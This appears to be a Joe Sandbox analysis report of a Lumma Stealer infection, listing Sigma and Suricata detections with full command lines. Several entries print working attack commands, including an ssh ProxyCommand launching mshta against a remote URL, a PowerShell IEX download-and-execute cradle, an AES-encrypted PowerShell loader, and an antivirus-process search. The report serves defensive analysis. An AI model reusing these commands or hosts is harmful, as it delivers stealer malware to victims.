Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" ., CommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" ., CommandLine|base64offset|contains: , Image: C:\Windows\System32\OpenSSH\ssh.exe, NewProcessName: C:\Windows\System32\OpenSSH\ssh.exe, OriginalFileName: C:\Windows\System32\OpenSSH\ssh.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4324, ProcessCommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" ., ProcessId: 7704, ProcessName: ssh.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6004, TargetFilename: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe", ParentImage: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe, ParentProcessId: 8168, ParentProcessName: EdgarMales.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd, ProcessId: 7208, ProcessName: cmd.exe

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6004, TargetFilename: C:\Users\user\AppData\Local\Temp\mv44vish.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47), CommandLine: powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)" ., ParentImage: C:\Windows\System32\OpenSSH\ssh.exe, ParentProcessId: 7704, ParentProcessName: ssh.exe, ProcessCommandLine: powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47), ProcessId: 7868, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BC

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') | ForEach-Object {Invoke-Expression }}) , ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6004, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline", ProcessId: 7832, ProcessName: csc.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7208, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7628, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T19:15:06.085444+0100	2028371	3	Unknown Traffic	192.168.2.18	49730	104.21.70.44	443	TCP
2024-12-11T19:15:08.352010+0100	2028371	3	Unknown Traffic	192.168.2.18	49731	104.21.70.44	443	TCP
2024-12-11T19:15:10.853750+0100	2028371	3	Unknown Traffic	192.168.2.18	49732	104.21.70.44	443	TCP
2024-12-11T19:15:12.959343+0100	2028371	3	Unknown Traffic	192.168.2.18	49733	104.21.70.44	443	TCP
2024-12-11T19:15:15.123862+0100	2028371	3	Unknown Traffic	192.168.2.18	49734	104.21.70.44	443	TCP
2024-12-11T19:15:17.460088+0100	2028371	3	Unknown Traffic	192.168.2.18	49735	104.21.70.44	443	TCP
2024-12-11T19:15:19.464527+0100	2028371	3	Unknown Traffic	192.168.2.18	49736	104.21.70.44	443	TCP
2024-12-11T19:15:21.707785+0100	2028371	3	Unknown Traffic	192.168.2.18	49737	104.21.70.44	443	TCP
2024-12-11T19:15:24.864946+0100	2028371	3	Unknown Traffic	192.168.2.18	49738	104.21.70.44	443	TCP
2024-12-11T19:15:27.195132+0100	2028371	3	Unknown Traffic	192.168.2.18	49739	104.21.92.22	443	TCP
2024-12-11T19:15:34.951497+0100	2028371	3	Unknown Traffic	192.168.2.18	49740	104.21.92.22	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (s3-eu-north-1 .travelguide-techtrends .com in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T19:15:06.085444+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49730	104.21.70.44	443	TCP
2024-12-11T19:15:08.352010+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49731	104.21.70.44	443	TCP
2024-12-11T19:15:10.853750+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49732	104.21.70.44	443	TCP
2024-12-11T19:15:12.959343+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49733	104.21.70.44	443	TCP
2024-12-11T19:15:15.123862+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49734	104.21.70.44	443	TCP
2024-12-11T19:15:17.460088+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49735	104.21.70.44	443	TCP
2024-12-11T19:15:19.464527+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49736	104.21.70.44	443	TCP
2024-12-11T19:15:21.707785+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49737	104.21.70.44	443	TCP
2024-12-11T19:15:24.864946+0100	2058139	1	Domain Observed Used for C2 Detected	192.168.2.18	49738	104.21.70.44	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (s3-eu-north-1 .travelguide-techtrends .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T19:15:04.504637+0100	2058138	1	Domain Observed Used for C2 Detected	192.168.2.18	54022	1.1.1.1	53	UDP
2024-12-11T19:15:22.693975+0100	2058138	1	Domain Observed Used for C2 Detected	192.168.2.18	65117	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\mv44vish.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\mv44vish.dll	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.18:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.18:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.18:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.56:443 -> 192.168.2.18:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.60:443 -> 192.168.2.18:49711 version: TLS 1.2
